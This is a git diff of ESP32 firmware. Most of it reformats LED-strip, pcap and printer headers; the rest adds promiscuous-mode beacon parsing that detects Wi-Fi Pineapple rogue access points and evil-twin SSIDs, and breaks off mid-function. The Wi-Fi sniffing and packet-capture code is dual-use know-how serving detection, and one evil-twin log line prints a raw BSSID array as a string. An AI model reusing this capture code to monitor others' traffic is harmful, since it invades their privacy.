b/include/vendor/led/led_strip.h @@ -5,10 +5,10 @@ */ #pragma once -#include #include "esp_err.h" -#include "led_strip_rmt.h" #include "esp_idf_version.h" +#include "led_strip_rmt.h" +#include #if ESP_IDF_VERSION >= ESP_IDF_VERSION_VAL(5, 1, 0) #include "led_strip_spi.h" @@ -29,16 +29,21 @@ extern "C" { * * @return * - ESP_OK: Set RGB for a specific pixel successfully - * - ESP_ERR_INVALID_ARG: Set RGB for a specific pixel failed because of invalid parameters - * - ESP_FAIL: Set RGB for a specific pixel failed because other error occurred + * - ESP_ERR_INVALID_ARG: Set RGB for a specific pixel failed because of + * invalid parameters + * - ESP_FAIL: Set RGB for a specific pixel failed because other error + * occurred */ -esp_err_t led_strip_set_pixel(led_strip_handle_t strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue); +esp_err_t led_strip_set_pixel(led_strip_handle_t strip, uint32_t index, + uint32_t red, uint32_t green, uint32_t blue); /** * @brief Set RGBW for a specific pixel * - * @note Only call this function if your led strip does have the white component (e.g. SK6812-RGBW) - * @note Also see `led_strip_set_pixel` if you only want to specify the RGB part of the color and bypass the white component + * @note Only call this function if your led strip does have the white component + * (e.g. SK6812-RGBW) + * @note Also see `led_strip_set_pixel` if you only want to specify the RGB part + * of the color and bypass the white component * * @param strip: LED strip * @param index: index of pixel to set @@ -49,10 +54,14 @@ esp_err_t led_strip_set_pixel(led_strip_handle_t strip, uint32_t index, uint32_t * * @return * - ESP_OK: Set RGBW color for a specific pixel successfully - * - ESP_ERR_INVALID_ARG: Set RGBW color for a specific pixel failed because of an invalid argument - * - ESP_FAIL: Set RGBW color for a specific pixel failed because other error occurred + * - ESP_ERR_INVALID_ARG: Set RGBW color for a specific pixel failed + * because of an invalid argument + * - ESP_FAIL: Set RGBW color for a specific pixel failed because other + * error occurred */ -esp_err_t led_strip_set_pixel_rgbw(led_strip_handle_t strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue, uint32_t white); +esp_err_t led_strip_set_pixel_rgbw(led_strip_handle_t strip, uint32_t index, + uint32_t red, uint32_t green, uint32_t blue, + uint32_t white); /** * @brief Set HSV for a specific pixel @@ -60,15 +69,21 @@ esp_err_t led_strip_set_pixel_rgbw(led_strip_handle_t strip, uint32_t index, uin * @param strip: LED strip * @param index: index of pixel to set * @param hue: hue part of color (0 - 360) - * @param saturation: saturation part of color (0 - 255, rescaled from 0 - 1. e.g. saturation = 0.5, rescaled to 127) - * @param value: value part of color (0 - 255, rescaled from 0 - 1. e.g. value = 0.5, rescaled to 127) + * @param saturation: saturation part of color (0 - 255, rescaled from 0 - 1. + * e.g. saturation = 0.5, rescaled to 127) + * @param value: value part of color (0 - 255, rescaled from 0 - 1. e.g. value = + * 0.5, rescaled to 127) * * @return * - ESP_OK: Set HSV color for a specific pixel successfully - * - ESP_ERR_INVALID_ARG: Set HSV color for a specific pixel failed because of an invalid argument - * - ESP_FAIL: Set HSV color for a specific pixel failed because other error occurred + * - ESP_ERR_INVALID_ARG: Set HSV color for a specific pixel failed because + * of an invalid argument + * - ESP_FAIL: Set HSV color for a specific pixel failed because other + * error occurred */ -esp_err_t led_strip_set_pixel_hsv(led_strip_handle_t strip, uint32_t index, uint16_t hue, uint8_t saturation, uint8_t value); +esp_err_t led_strip_set_pixel_hsv(led_strip_handle_t strip, uint32_t index, + uint16_t hue, uint8_t saturation, + uint8_t value); /** * @brief Refresh memory colors to LEDs @@ -80,7 +95,8 @@ esp_err_t led_strip_set_pixel_hsv(led_strip_handle_t strip, uint32_t index, uint * - ESP_FAIL: Refresh failed because some other error occurred * * @note: - * After updating the LED colors in the memory, a following invocation of this API is needed to flush colors to strip. + * After updating the LED colors in the memory, a following invocation of + * this API is needed to flush colors to strip. */ esp_err_t led_strip_refresh(led_strip_handle_t strip); diff --git a/include/vendor/led/led_strip_interface.h b/include/vendor/led/led_strip_interface.h index 30e0780a..bc80f3dc 100644 --- a/include/vendor/led/led_strip_interface.h +++ b/include/vendor/led/led_strip_interface.h @@ -5,8 +5,8 @@ */ #pragma once -#include #include "esp_err.h" +#include #ifdef __cplusplus extern "C" { @@ -18,78 +18,86 @@ typedef struct led_strip_t led_strip_t; /*!< Type of LED strip */ * @brief LED strip interface definition */ struct led_strip_t { - /** - * @brief Set RGB for a specific pixel - * - * @param strip: LED strip - * @param index: index of pixel to set - * @param red: red part of color - * @param green: green part of color - * @param blue: blue part of color - * - * @return - * - ESP_OK: Set RGB for a specific pixel successfully - * - ESP_ERR_INVALID_ARG: Set RGB for a specific pixel failed because of invalid parameters - * - ESP_FAIL: Set RGB for a specific pixel failed because other error occurred - */ - esp_err_t (*set_pixel)(led_strip_t *strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue); + /** + * @brief Set RGB for a specific pixel + * + * @param strip: LED strip + * @param index: index of pixel to set + * @param red: red part of color + * @param green: green part of color + * @param blue: blue part of color + * + * @return + * - ESP_OK: Set RGB for a specific pixel successfully + * - ESP_ERR_INVALID_ARG: Set RGB for a specific pixel failed because of + * invalid parameters + * - ESP_FAIL: Set RGB for a specific pixel failed because other error + * occurred + */ + esp_err_t (*set_pixel)(led_strip_t *strip, uint32_t index, uint32_t red, + uint32_t green, uint32_t blue); - /** - * @brief Set RGBW for a specific pixel. Similar to `set_pixel` but also set the white component - * - * @param strip: LED strip - * @param index: index of pixel to set - * @param red: red part of color - * @param green: green part of color - * @param blue: blue part of color - * @param white: separate white component - * - * @return - * - ESP_OK: Set RGBW color for a specific pixel successfully - * - ESP_ERR_INVALID_ARG: Set RGBW color for a specific pixel failed because of an invalid argument - * - ESP_FAIL: Set RGBW color for a specific pixel failed because other error occurred - */ - esp_err_t (*set_pixel_rgbw)(led_strip_t *strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue, uint32_t white); + /** + * @brief Set RGBW for a specific pixel. Similar to `set_pixel` but also set + * the white component + * + * @param strip: LED strip + * @param index: index of pixel to set + * @param red: red part of color + * @param green: green part of color + * @param blue: blue part of color + * @param white: separate white component + * + * @return + * - ESP_OK: Set RGBW color for a specific pixel successfully + * - ESP_ERR_INVALID_ARG: Set RGBW color for a specific pixel failed + * because of an invalid argument + * - ESP_FAIL: Set RGBW color for a specific pixel failed because other + * error occurred + */ + esp_err_t (*set_pixel_rgbw)(led_strip_t *strip, uint32_t index, uint32_t red, + uint32_t green, uint32_t blue, uint32_t white); - /** - * @brief Refresh memory colors to LEDs - * - * @param strip: LED strip - * @param timeout_ms: timeout value for refreshing task - * - * @return - * - ESP_OK: Refresh successfully - * - ESP_FAIL: Refresh failed because some other error occurred - * - * @note: - * After updating the LED colors in the memory, a following invocation of this API is needed to flush colors to strip. - */ - esp_err_t (*refresh)(led_strip_t *strip); + /** + * @brief Refresh memory colors to LEDs + * + * @param strip: LED strip + * @param timeout_ms: timeout value for refreshing task + * + * @return + * - ESP_OK: Refresh successfully + * - ESP_FAIL: Refresh failed because some other error occurred + * + * @note: + * After updating the LED colors in the memory, a following invocation of + * this API is needed to flush colors to strip. + */ + esp_err_t (*refresh)(led_strip_t *strip); - /** - * @brief Clear LED strip (turn off all LEDs) - * - * @param strip: LED strip - * @param timeout_ms: timeout value for clearing task - * - * @return - * - ESP_OK: Clear LEDs successfully - * - ESP_FAIL: Clear LEDs failed because some other error occurred - */ - esp_err_t (*clear)(led_strip_t *strip); + /** + * @brief Clear LED strip (turn off all LEDs) + * + * @param strip: LED strip + * @param timeout_ms: timeout value for clearing task + * + * @return + * - ESP_OK: Clear LEDs successfully + * - ESP_FAIL: Clear LEDs failed because some other error occurred + */ + esp_err_t (*clear)(led_strip_t *strip); - /** - * @brief Free LED strip resources - * - * @param strip: LED strip - * - * @return - * - ESP_OK: Free resources successfully - * - ESP_FAIL: Free resources failed because error occurred - */ - esp_err_t (*del)(led_strip_t *strip); + /** + * @brief Free LED strip resources + * + * @param strip: LED strip + * + * @return + * - ESP_OK: Free resources successfully + * - ESP_FAIL: Free resources failed because error occurred + */ + esp_err_t (*del)(led_strip_t *strip); - int led_pixel_format; + int led_pixel_format; }; #ifdef __cplusplus diff --git a/include/vendor/led/led_strip_rmt.h b/include/vendor/led/led_strip_rmt.h index b575aeab..414b59fc 100644 --- a/include/vendor/led/led_strip_rmt.h +++ b/include/vendor/led/led_strip_rmt.h @@ -5,10 +5,10 @@ */ #pragma once -#include #include "esp_err.h" -#include "led_strip_types.h" #include "esp_idf_version.h" +#include "led_strip_types.h" +#include #if ESP_IDF_VERSION >= ESP_IDF_VERSION_VAL(5, 0, 0) #include "driver/rmt_types.h" @@ -23,15 +23,19 @@ extern "C" { */ typedef struct { #if ESP_IDF_VERSION < ESP_IDF_VERSION_VAL(5, 0, 0) - uint8_t rmt_channel; /*!< Specify the channel number, the legacy RMT driver doesn't support channel allocator */ + uint8_t rmt_channel; /*!< Specify the channel number, the legacy RMT driver + doesn't support channel allocator */ #else // new driver supports specify the clock source and clock resolution - rmt_clock_source_t clk_src; /*!< RMT clock source */ - uint32_t resolution_hz; /*!< RMT tick resolution, if set to zero, a default resolution (10MHz) will be applied */ + rmt_clock_source_t clk_src; /*!< RMT clock source */ + uint32_t resolution_hz; /*!< RMT tick resolution, if set to zero, a default + resolution (10MHz) will be applied */ #endif - size_t mem_block_symbols; /*!< How many RMT symbols can one RMT channel hold at one time. Set to 0 will fallback to use the default size. */ - struct { - uint32_t with_dma: 1; /*!< Use DMA to transmit data */ - } flags; /*!< Extra driver flags */ + size_t mem_block_symbols; /*!< How many RMT symbols can one RMT channel hold + at one time. Set to 0 will fallback to use the + default size. */ + struct { + uint32_t with_dma : 1; /*!< Use DMA to transmit data */ + } flags; /*!< Extra driver flags */ } led_strip_rmt_config_t; /** @@ -42,11 +46,15 @@ typedef struct { * @param ret_strip Returned LED strip handle * @return * - ESP_OK: create LED strip handle successfully - * - ESP_ERR_INVALID_ARG: create LED strip handle failed because of invalid argument - * - ESP_ERR_NO_MEM: create LED strip handle failed because of out of memory + * - ESP_ERR_INVALID_ARG: create LED strip handle failed because of invalid + * argument + * - ESP_ERR_NO_MEM: create LED strip handle failed because of out of + * memory * - ESP_FAIL: create LED strip handle failed because some other error */ -esp_err_t led_strip_new_rmt_device(const led_strip_config_t *led_config, const led_strip_rmt_config_t *rmt_config, led_strip_handle_t *ret_strip); +esp_err_t led_strip_new_rmt_device(const led_strip_config_t *led_config, + const led_strip_rmt_config_t *rmt_config, + led_strip_handle_t *ret_strip); #ifdef __cplusplus } diff --git a/include/vendor/led/led_strip_rmt_encoder.h b/include/vendor/led/led_strip_rmt_encoder.h index ba71e60a..18882849 100644 --- a/include/vendor/led/led_strip_rmt_encoder.h +++ b/include/vendor/led/led_strip_rmt_encoder.h @@ -5,9 +5,9 @@ */ #pragma once -#include #include "driver/rmt_encoder.h" #include "led_strip_types.h" +#include #ifdef __cplusplus extern "C" { @@ -17,8 +17,8 @@ extern "C" { * @brief Type of led strip encoder configuration */ typedef struct { - uint32_t resolution; /*!< Encoder resolution, in Hz */ - led_model_t led_model; /*!< LED model */ + uint32_t resolution; /*!< Encoder resolution, in Hz */ + led_model_t led_model; /*!< LED model */ } led_strip_encoder_config_t; /** @@ -31,7 +31,8 @@ typedef struct { * - ESP_ERR_NO_MEM out of memory when creating led strip encoder * - ESP_OK if creating encoder successfully */ -esp_err_t rmt_new_led_strip_encoder(const led_strip_encoder_config_t *config, rmt_encoder_handle_t *ret_encoder); +esp_err_t rmt_new_led_strip_encoder(const led_strip_encoder_config_t *config, + rmt_encoder_handle_t *ret_encoder); #ifdef __cplusplus } diff --git a/include/vendor/led/led_strip_spi.h b/include/vendor/led/led_strip_spi.h index eb352493..26550b84 100644 --- a/include/vendor/led/led_strip_spi.h +++ b/include/vendor/led/led_strip_spi.h @@ -5,10 +5,10 @@ */ #pragma once -#include -#include "esp_err.h" #include "driver/spi_master.h" +#include "esp_err.h" #include "led_strip_types.h" +#include #ifdef __cplusplus extern "C" { @@ -18,28 +18,35 @@ extern "C" { * @brief LED Strip SPI specific configuration */ typedef struct { - spi_clock_source_t clk_src; /*!< SPI clock source */ - spi_host_device_t spi_bus; /*!< SPI bus ID. Which buses are available depends on the specific chip */ - struct { - uint32_t with_dma: 1; /*!< Use DMA to transmit data */ - } flags; /*!< Extra driver flags */ + spi_clock_source_t clk_src; /*!< SPI clock source */ + spi_host_device_t spi_bus; /*!< SPI bus ID. Which buses are available depends + on the specific chip */ + struct { + uint32_t with_dma : 1; /*!< Use DMA to transmit data */ + } flags; /*!< Extra driver flags */ } led_strip_spi_config_t; /** * @brief Create LED strip based on SPI MOSI channel - * @note Although only the MOSI line is used for generating the signal, the whole SPI bus can't be used for other purposes. + * @note Although only the MOSI line is used for generating the signal, the + * whole SPI bus can't be used for other purposes. * * @param led_config LED strip configuration * @param spi_config SPI specific configuration * @param ret_strip Returned LED strip handle * @return * - ESP_OK: create LED strip handle successfully - * - ESP_ERR_INVALID_ARG: create LED strip handle failed because of invalid argument - * - ESP_ERR_NOT_SUPPORTED: create LED strip handle failed because of unsupported configuration - * - ESP_ERR_NO_MEM: create LED strip handle failed because of out of memory + * - ESP_ERR_INVALID_ARG: create LED strip handle failed because of invalid + * argument + * - ESP_ERR_NOT_SUPPORTED: create LED strip handle failed because of + * unsupported configuration + * - ESP_ERR_NO_MEM: create LED strip handle failed because of out of + * memory * - ESP_FAIL: create LED strip handle failed because some other error */ -esp_err_t led_strip_new_spi_device(const led_strip_config_t *led_config, const led_strip_spi_config_t *spi_config, led_strip_handle_t *ret_strip); +esp_err_t led_strip_new_spi_device(const led_strip_config_t *led_config, + const led_strip_spi_config_t *spi_config, + led_strip_handle_t *ret_strip); #ifdef __cplusplus } diff --git a/include/vendor/led/led_strip_types.h b/include/vendor/led/led_strip_types.h index 2ca2ffab..032d6bef 100644 --- a/include/vendor/led/led_strip_types.h +++ b/include/vendor/led/led_strip_types.h @@ -15,20 +15,21 @@ extern "C" { * @brief LED strip pixel format */ typedef enum { - LED_PIXEL_FORMAT_GRB, /*!< Pixel format: GRB */ - LED_PIXEL_FORMAT_GRBW, /*!< Pixel format: GRBW */ - LED_PIXEL_FORMAT_RGB, - LED_PIXEL_FORMAT_INVALID /*!< Invalid pixel format */ + LED_PIXEL_FORMAT_GRB, /*!< Pixel format: GRB */ + LED_PIXEL_FORMAT_GRBW, /*!< Pixel format: GRBW */ + LED_PIXEL_FORMAT_RGB, + LED_PIXEL_FORMAT_INVALID /*!< Invalid pixel format */ } led_pixel_format_t; /** * @brief LED strip model - * @note Different led model may have different timing parameters, so we need to distinguish them. + * @note Different led model may have different timing parameters, so we need to + * distinguish them. */ typedef enum { - LED_MODEL_WS2812, /*!< LED strip model: WS2812 */ - LED_MODEL_SK6812, /*!< LED strip model: SK6812 */ - LED_MODEL_INVALID /*!< Invalid LED strip model */ + LED_MODEL_WS2812, /*!< LED strip model: WS2812 */ + LED_MODEL_SK6812, /*!< LED strip model: SK6812 */ + LED_MODEL_INVALID /*!< Invalid LED strip model */ } led_model_t; /** @@ -40,14 +41,14 @@ typedef struct led_strip_t *led_strip_handle_t; * @brief LED Strip Configuration */ typedef struct { - int strip_gpio_num; /*!< GPIO number that used by LED strip */ - uint32_t max_leds; /*!< Maximum LEDs in a single strip */ - led_pixel_format_t led_pixel_format; /*!< LED pixel format */ - led_model_t led_model; /*!< LED model */ - - struct { - uint32_t invert_out: 1; /*!< Invert output signal */ - } flags; /*!< Extra driver flags */ + int strip_gpio_num; /*!< GPIO number that used by LED strip */ + uint32_t max_leds; /*!< Maximum LEDs in a single strip */ + led_pixel_format_t led_pixel_format; /*!< LED pixel format */ + led_model_t led_model; /*!< LED model */ + + struct { + uint32_t invert_out : 1; /*!< Invert output signal */ + } flags; /*!< Extra driver flags */ } led_strip_config_t; #ifdef __cplusplus diff --git a/include/vendor/pcap.h b/include/vendor/pcap.h index 54d88525..c5abd2bc 100644 --- a/include/vendor/pcap.h +++ b/include/vendor/pcap.h @@ -1,39 +1,37 @@ #ifndef PCAP_HEADER #define PCAP_HEADER -#include -#include #include "esp_vfs_fat.h" #include "freertos/FreeRTOS.h" #include "freertos/semphr.h" +#include +#include #define PCAP_GLOBAL_HEADER_SIZE 24 #define PCAP_PACKET_HEADER_SIZE 16 // PCAP global header structure typedef struct { - uint32_t magic_number; // Magic number (0xa1b2c3d4) - uint16_t version_major; // Major version (usually 2) - uint16_t version_minor; // Minor version (usually 4) - int32_t thiszone; // GMT to local correction (usually 0) - uint32_t sigfigs; // Accuracy of timestamps - uint32_t snaplen; // Max length of captured packets - uint32_t network; // Data link type (DLT_IEEE802_11 for Wi-Fi) + uint32_t magic_number; // Magic number (0xa1b2c3d4) + uint16_t version_major; // Major version (usually 2) + uint16_t version_minor; // Minor version (usually 4) + int32_t thiszone; // GMT to local correction (usually 0) + uint32_t sigfigs; // Accuracy of timestamps + uint32_t snaplen; // Max length of captured packets + uint32_t network; // Data link type (DLT_IEEE802_11 for Wi-Fi) } pcap_global_header_t; // PCAP packet header structure typedef struct { - uint32_t ts_sec; // Timestamp seconds - uint32_t ts_usec; // Timestamp microseconds - uint32_t incl_len; // Number of octets of packet saved in file - uint32_t orig_len; // Actual length of packet (on the wire) + uint32_t ts_sec; // Timestamp seconds + uint32_t ts_usec; // Timestamp microseconds + uint32_t incl_len; // Number of octets of packet saved in file + uint32_t orig_len; // Actual length of packet (on the wire) } pcap_packet_header_t; - #define MAX_FILE_NAME_LENGTH 528 #define BUFFER_SIZE 4096 - static uint8_t pcap_buffer[BUFFER_SIZE]; static size_t buffer_offset = 0; static FILE *pcap_file = NULL; @@ -42,16 +40,14 @@ static SemaphoreHandle_t pcap_mutex = NULL; #define DLT_IEEE802_11_RADIO 127 #define DLT_BLUETOOTH_HCI_H4 201 -typedef enum { - PCAP_CAPTURE_WIFI, - PCAP_CAPTURE_BLUETOOTH -} pcap_capture_type_t; - +typedef enum { PCAP_CAPTURE_WIFI, PCAP_CAPTURE_BLUETOOTH } pcap_capture_type_t; esp_err_t pcap_init(void); -esp_err_t pcap_write_global_header(FILE* f, pcap_capture_type_t capture_type); -esp_err_t pcap_file_open(const char* base_file_name, pcap_capture_type_t capture_type); -esp_err_t pcap_write_packet_to_buffer(const void* packet, size_t length, pcap_capture_type_t capture_type); +esp_err_t pcap_write_global_header(FILE *f, pcap_capture_type_t capture_type); +esp_err_t pcap_file_open(const char *base_file_name, + pcap_capture_type_t capture_type); +esp_err_t pcap_write_packet_to_buffer(const void *packet, size_t length, + pcap_capture_type_t capture_type); esp_err_t pcap_flush_buffer_to_file(); void pcap_file_close(); diff --git a/include/vendor/printer.h b/include/vendor/printer.h index 4db6eefb..eb991a9e 100644 --- a/include/vendor/printer.h +++ b/include/vendor/printer.h @@ -1,14 +1,14 @@ #ifndef PRINTER_HANDLER_H #define PRINTER_HANDLER_H +#include "esp_log.h" #include #include #include -#include "esp_log.h" - void handle_printer_command(int argc, char **argv); -void print_text_to_printer(const char *printer_ip, const char *text, int font_px, const char *alignment); +void print_text_to_printer(const char *printer_ip, const char *text, + int font_px, const char *alignment); #endif \ No newline at end of file diff --git a/main/core/callbacks.c b/main/core/callbacks.c index a245faa5..78bed751 100644 --- a/main/core/callbacks.c +++ b/main/core/callbacks.c @@ -1,26 +1,391 @@ #include "core/callbacks.h" +#include "esp_wifi.h" +#include "managers/gps_manager.h" +#include "managers/rgb_manager.h" +#include "managers/views/terminal_screen.h" #include "managers/wifi_manager.h" +#include "vendor/GPS/gps_logger.h" +#include "vendor/pcap.h" +#include #include #include -#include "vendor/pcap.h" -#include "vendor/GPS/gps_logger.h" -#include "managers/gps_manager.h" -#define WPS_OUI 0x0050f204 +#include + +#define WPS_OUI 0x0050f204 #define TAG "WIFI_MONITOR" -#define WPS_CONF_METHODS_PBC 0x0080 +#define WPS_CONF_METHODS_PBC 0x0080 #define WPS_CONF_METHODS_PIN_DISPLAY 0x0004 -#define WPS_CONF_METHODS_PIN_KEYPAD 0x0008 -#define WIFI_PKT_DEAUTH 0x0C // Deauth subtype -#define WIFI_PKT_BEACON 0x08 // Beacon subtype +#define WPS_CONF_METHODS_PIN_KEYPAD 0x0008 +#define WIFI_PKT_DEAUTH 0x0C // Deauth subtype +#define WIFI_PKT_BEACON 0x08 // Beacon subtype #define WIFI_PKT_PROBE_REQ 0x04 // Probe Request subtype #define WIFI_PKT_PROBE_RESP 0x05 // Probe Response subtype #define WIFI_PKT_EAPOL 0x80 -#define ESP_WIFI_VENDOR_METADATA_LEN 8 // Channel(1) + RSSI(1) + Rate(1) + Timestamp(4) + Noise(1) +#define ESP_WIFI_VENDOR_METADATA_LEN 8 // Channel(1) + RSSI(1) + Rate(1) + Timestamp(4) + Noise(1) + +#define MIN_SSIDS_FOR_DETECTION 2 // Minimum SSIDs needed to flag as PineAP + +// Structure to track blacklisted BSSIDs +typedef struct { + uint8_t bssid[6]; + time_t detection_time; + time_t last_update_time; +} blacklisted_ap_t; + +static blacklisted_ap_t blacklist[MAX_PINEAP_NETWORKS]; +static int blacklist_count = 0; + +static bool is_blacklisted(const uint8_t *bssid) { + for (int i = 0; i < blacklist_count; i++) { + if (memcmp(blacklist[i].bssid, bssid, 6) == 0) { + return true; + } + } + return false; +} + +static bool should_update_blacklisted(const uint8_t *bssid) { + for (int i = 0; i < blacklist_count; i++) { + if (memcmp(blacklist[i].bssid, bssid, 6) == 0) { + time_t current_time = time(NULL); + // Allow updates every 30 seconds + if (current_time - blacklist[i].last_update_time >= 30) { + blacklist[i].last_update_time = current_time; + return true; + } + return false; + } + } + return false; +} + +static void add_to_blacklist(const uint8_t *bssid) { + time_t current_time = time(NULL); + + // First check if BSSID exists + for (int i = 0; i < blacklist_count; i++) { + if (memcmp(blacklist[i].bssid, bssid, 6) == 0) { + blacklist[i].last_update_time = current_time; + return; + } + } + + // If not found and we have space, add new entry + if (blacklist_count < MAX_PINEAP_NETWORKS) { + memcpy(blacklist[blacklist_count].bssid, bssid, 6); + blacklist[blacklist_count].detection_time = current_time; + blacklist[blacklist_count].last_update_time = current_time; + blacklist_count++; + } +} + +static uint32_t hash_ssid(const char *ssid); +static bool ssid_hash_exists(pineap_network_t *network, uint32_t hash); +static void trim_trailing(char *str); +static bool compare_bssid(const uint8_t *bssid1, const uint8_t *bssid2); +static bool is_beacon_packet(const wifi_promiscuous_pkt_t *pkt); + wps_network_t detected_wps_networks[MAX_WPS_NETWORKS]; int detected_network_count = 0; esp_timer_handle_t stop_timer; int should_store_wps = 1; gps_t *gps = NULL; +extern RGBManager_t rgb_manager; + +#define MAX_PINEAP_NETWORKS 50 +#define MAX_SSIDS_PER_BSSID 10 +#define MAX_WIFI_CHANNEL 13 +#define CHANNEL_HOP_INTERVAL_MS 200 +#define RECENT_SSID_COUNT 5 +#define LOG_DELAY_MS 5000 + +static pineap_network_t pineap_networks[MAX_PINEAP_NETWORKS]; +static int pineap_network_count = 0; +static bool pineap_detection_active = false; +static uint8_t current_channel = 1; +static esp_timer_handle_t channel_hop_timer = NULL; + +static void channel_hop_timer_callback(void *arg) { + if (!pineap_detection_active) + return; + + current_channel = (current_channel % MAX_WIFI_CHANNEL) + 1; + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); +} + +static esp_err_t start_channel_hopping(void) { + esp_timer_create_args_t timer_args = {.callback = channel_hop_timer_callback, + .name = "channel_hop"}; + + if (channel_hop_timer == NULL) { + ESP_ERROR_CHECK(esp_timer_create(&timer_args, &channel_hop_timer)); + } + + return esp_timer_start_periodic(channel_hop_timer, CHANNEL_HOP_INTERVAL_MS * 1000); +} + +static void stop_channel_hopping(void) { + if (channel_hop_timer) { + esp_timer_stop(channel_hop_timer); + esp_timer_delete(channel_hop_timer); + channel_hop_timer = NULL; + } +} + +static pineap_network_t *find_or_create_network(const uint8_t *bssid) { + for (int i = 0; i < pineap_network_count; i++) { + if (compare_bssid(pineap_networks[i].bssid, bssid)) { + return &pineap_networks[i]; + } + } + + // If not found and we have space, create new entry + if (pineap_network_count < MAX_PINEAP_NETWORKS) { + pineap_network_t *network = &pineap_networks[pineap_network_count++]; + memcpy(network->bssid, bssid, 6); + network->ssid_count = 0; + network->is_pineap = false; + network->first_seen = time(NULL); + return network; + } + + return NULL; +} + +static uint32_t hash_ssid(const char *ssid) { + uint32_t hash = 5381; + int c; + while ((c = *ssid++)) + hash = ((hash << 5) + hash) + c; // hash * 33 + c + return hash; +} + +static bool ssid_hash_exists(pineap_network_t *network, uint32_t hash) { + for (int i = 0; i < network->ssid_count; i++) { + if (network->ssid_hashes[i] == hash) { + return true; + } + } + return false; +} + +void start_pineap_detection(void) { + pineap_detection_active = true; + pineap_network_count = 0; + memset(pineap_networks, 0, sizeof(pineap_networks)); + current_channel = 1; + start_channel_hopping(); +} + +void stop_pineap_detection(void) { + pineap_detection_active = false; + stop_channel_hopping(); +} + +static void log_pineap_detection(void *arg) { + pineap_log_data_t *log_data = (pineap_log_data_t *)arg; + pineap_network_t *network = log_data->network; + + vTaskDelay(pdMS_TO_TICKS(5000)); + + char mac_str[18]; + snprintf(mac_str, sizeof(mac_str), "%02x:%02x:%02x:%02x:%02x:%02x", log_data->bssid[0], + log_data->bssid[1], log_data->bssid[2], log_data->bssid[3], log_data->bssid[4], + log_data->bssid[5]); + + // Build SSIDs string, filtering out empty SSIDs + char ssids_str[256] = {0}; + int valid_ssid_count = 0; + + // Use the most up-to-date SSIDs from the network structure + for (int i = 0; i < network->ssid_count && i < RECENT_SSID_COUNT; i++) { + if (strlen(network->recent_ssids[i]) > 0) { + if (valid_ssid_count > 0) + strcat(ssids_str, ", "); + strcat(ssids_str, network->recent_ssids[i]); + valid_ssid_count++; + } + } + + // Only log if we have valid SSIDs + if (valid_ssid_count >= MIN_SSIDS_FOR_DETECTION) { + // Pulse RGB purple (red + blue) to indicate Pineapple detection + pulse_once(&rgb_manager, 255, 0, 255); + + printf("\nPineapple detected!\n"); + printf("BSSID: %s\n", mac_str); + printf("Channel: %d\n", network->last_channel); + printf("RSSI: %d\n", network->last_rssi); + printf("SSIDs (%d): %s\n", valid_ssid_count, ssids_str); + + // Evil Twin Detection: Check for same SSID from different BSSIDs + for (int i = 0; i < pineap_network_count; i++) { + if (i != (network - pineap_networks) && // Skip self + strcasecmp(network->recent_ssids[0], pineap_networks[i].recent_ssids[0]) == 0) { + printf("Evil Twin Detected:\nSame SSID '%.100s'\nfrom BSSID %.17s and\n%.100s\n", + network->recent_ssids[0], mac_str, pineap_networks[i].bssid); + TERMINAL_VIEW_ADD_TEXT( + "Evil Twin Detected:\nSame SSID '%.100s'\nfrom BSSID %.17s and\n%.100s\n", + network->recent_ssids[0], mac_str, pineap_networks[i].bssid); + } + } + + TERMINAL_VIEW_ADD_TEXT("\nPineapple detected!\n"); + TERMINAL_VIEW_ADD_TEXT("BSSID: %s\n", mac_str); + TERMINAL_VIEW_ADD_TEXT("Channel: %d\n", network->last_channel); + TERMINAL_VIEW_ADD_TEXT("RSSI: %d\n", network->last_rssi); + TERMINAL_VIEW_ADD_TEXT("SSIDs (%d): %s\n", valid_ssid_count, ssids_str); + } + + free(log_data); + network->log_task_handle = NULL; // Clear handle before deletion + vTaskDelete(NULL); +} + +static void start_log_task(pineap_network_t *network, const char *new_ssid, int8_t channel, + int8_t rssi) { + // Check if a task is already running + if (network->log_task_handle != NULL) { + TaskHandle_t existing_handle = network->log_task_handle; + network->log_task_handle = NULL; // Clear it first to avoid race conditions + vTaskDelete(existing_handle); // Clean up existing task + } + + pineap_log_data_t *log_data = malloc(sizeof(pineap_log_data_t)); + if (!log_data) + return; + + // Copy network data + memcpy(log_data->bssid, network->bssid, 6); + memcpy(log_data->recent_ssids, network->recent_ssids, sizeof(network->recent_ssids)); + log_data->ssid_count = network->ssid_count; + log_data->channel = channel; + log_data->rssi = rssi; + log_data->network = network; + BaseType_t result = xTaskCreate(log_pineap_detection, "pineap_log", 4096, log_data, 1, + &network->log_task_handle); + if (result != pdPASS) { + free(log_data); + network->log_task_handle = NULL; + } +} + +// Helper function to check if SSID is valid and unique +static bool is_valid_unique_ssid(const char *new_ssid, pineap_network_t *network) { + // Check if SSID is empty or just whitespace + if (strlen(new_ssid) == 0) + return false; + + bool all_whitespace = true; + for (const char *p = new_ssid; *p; p++) { + if (!isspace((unsigned char)*p)) { + all_whitespace = false; + break; + } + } + if (all_whitespace) + return false; + + // Check if this SSID is already in our recent list + for (int i = 0; i < network->ssid_count && i < RECENT_SSID_COUNT; i++) { + if (strcasecmp(network->recent_ssids[i], new_ssid) == 0) { + return false; // SSID already exists (case insensitive) + } + } + + return true; +} + +void wifi_pineap_detector_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (!pineap_detection_active || type != WIFI_PKT_MGMT) + return; + + const wifi_promiscuous_pkt_t *ppkt = (wifi_promiscuous_pkt_t *)buf; + const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)ppkt->payload; + const wifi_ieee80211_mac_hdr_t *hdr = &ipkt->hdr; + + // Only process beacon frames + if (!is_beacon_packet(ppkt)) + return; + + // Find or create network + pineap_network_t *network = find_or_create_network(hdr->addr3); + if (!network) + return; + + // Update channel and RSSI + network->last_channel = ppkt->rx_ctrl.channel; + network->last_rssi = ppkt->rx_ctrl.rssi; + + // Extract SSID from beacon + const uint8_t *payload = ppkt->payload; + int len = ppkt->rx_ctrl.sig_len; + + // Skip fixed parameters (24 bytes header + 12 bytes fixed params) + int index = 36; + if (index + 2 > len) + return; + + // Look specifically for SSID element (ID = 0) + if (payload[index] != 0) + return; + + uint8_t ie_len = payload[index + 1]; + if (ie_len > 32 || index + 2 + ie_len > len) + return; + + // Get SSID + char ssid[33] = {0}; + memcpy(ssid, &payload[index + 2], ie_len); + ssid[ie_len] = '\0'; + trim_trailing(ssid); 